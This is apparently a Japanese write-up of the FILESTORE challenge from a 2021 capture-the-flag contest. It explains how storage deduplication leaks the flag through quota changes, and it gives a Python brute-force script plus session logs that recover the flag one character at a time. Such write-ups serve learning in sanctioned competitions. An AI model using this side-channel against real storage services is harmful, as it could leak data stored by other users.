この大会は2021/7/17 9:00(JST)~2021/7/19 9:00(JST)に開催されました。
今回もチームで参戦。結果は 204点で379チーム中156位でした。
自分で解けた問題をWriteupとして書いておきます。
FILESTORE (misc)
サーバの処理の概要は以下の通り。
・blob: 2**16の長さの\x00のbyte文字列 ・files: 辞書型データ ・used = 0 ・flagをstore ・part_list = [] ・blobに先頭からflagをセットする。 ・part_listにflagを16バイトのブロックで分割した際の(index, size)を追加する。 ・fid: ランダム英数字16バイト ・files[fid] = partlist ・fidを返却 ・以下繰り返しでメニュー選択 ・loadの場合 ・fid: 入力 ・fidに対応するデータの連結を表示 ・storeの場合 ・data: storeするデータを入力 ・dataをstore ・filesに追加 ※同じデータがある場合、blobには追加されない。 ・storeしたfidを表示 ・status ・時刻を表示 ・blobの使用量を表示
1文字ずつブルートフォースでblob使用量が増えない文字を探していく。フラグの先頭はCTF{が前提でよいか確認する。
$ nc filestore.2021.ctfcompetition.com 1337 == proof-of-work: disabled == Welcome to our file storage solution. Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 00:07:19 2021 Quota: 0.026kB/64.000kB Files: 1 Menu: - load - store - status - exit store Send me a line of data... CTF{ Stored! Here's your file id: zP5vP4iPJ9ImF6RW Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 00:07:37 2021 Quota: 0.026kB/64.000kB Files: 2 Menu: - load - store - status - exit store Send me a line of data... flag{ Stored! Here's your file id: 2Yv13cmII816m82V Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 00:07:53 2021 Quota: 0.031kB/64.000kB Files: 3 Menu: - load - store - status - exit
"CTF{"の場合は使用量が増えていないので、前提は正しいようだ。あとは最初の使用サイズが0.026kBであることから1024*0.026≒27で、ブロック数は2なので、"CTF{"から始まり、"}"で終わることを前提にフラグを求める。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def get_quota(s): print 'status' s.sendall('status\n') data = recvuntil(s, 'exit\n').rstrip() print data quota = float(data.split('\n')[2].split(' ')[1].split('kB')[0]) return quota s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('filestore.2021.ctfcompetition.com', 1337)) data = recvuntil(s, 'exit\n').rstrip() print data quota = get_quota(s) flag1 = 'CTF{' flag2 = '}' while True: for code in range(33, 127): if len(flag1) < 16: try_flag = flag1 + chr(code) else: try_flag = chr(code) + flag2 print 'store' s.sendall('store\n') data = recvuntil(s, '\n').rstrip() print data print try_flag s.sendall(try_flag + '\n') data = recvuntil(s, 'exit\n').rstrip() print data new_quota = get_quota(s) if quota < new_quota: quota = new_quota else: if len(flag1) < 16: flag1 += chr(code) else: flag2 = chr(code) + flag2 break if len(flag2) == 11: break flag = flag1 + flag2 print flag
flagの前半を取得したところで接続が切れたので、その取得したところまでセットして継続して再実行した。実行結果は以下の通り。
== proof-of-work: disabled == Welcome to our file storage solution. Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 03:58:06 2021 Quota: 0.026kB/64.000kB Files: 1 Menu: - load - store - status - exit store Send me a line of data... CTF{! Stored! Here's your file id: 8JAMah4778KtV47f : Menu: - load - store - status - exit store Send me a line of data... sp1ic4ti0n} Stored! Here's your file id: qKEvH3eOQnWFzMgM Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 04:21:04 2021 Quota: 0.918kB/64.000kB Files: 84 Menu: - load - store - status - exit store Send me a line of data... tp1ic4ti0n} Stored! Here's your file id: BKesFwJnVgEXZfM4 Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 04:21:05 2021 Quota: 0.929kB/64.000kB Files: 85 Menu: - load - store - status - exit store Send me a line of data... up1ic4ti0n} Stored! Here's your file id: gOyEKxZyCbSR58jh Menu: - load - store - status - exit status User: ctfplayer Time: Sun Jul 18 04:21:06 2021 Quota: 0.929kB/64.000kB Files: 86 Menu: - load - store - status - exit CTF{CR1M3_0f_d3dup1ic4ti0n}
CTF{CR1M3_0f_d3dup1ic4ti0n}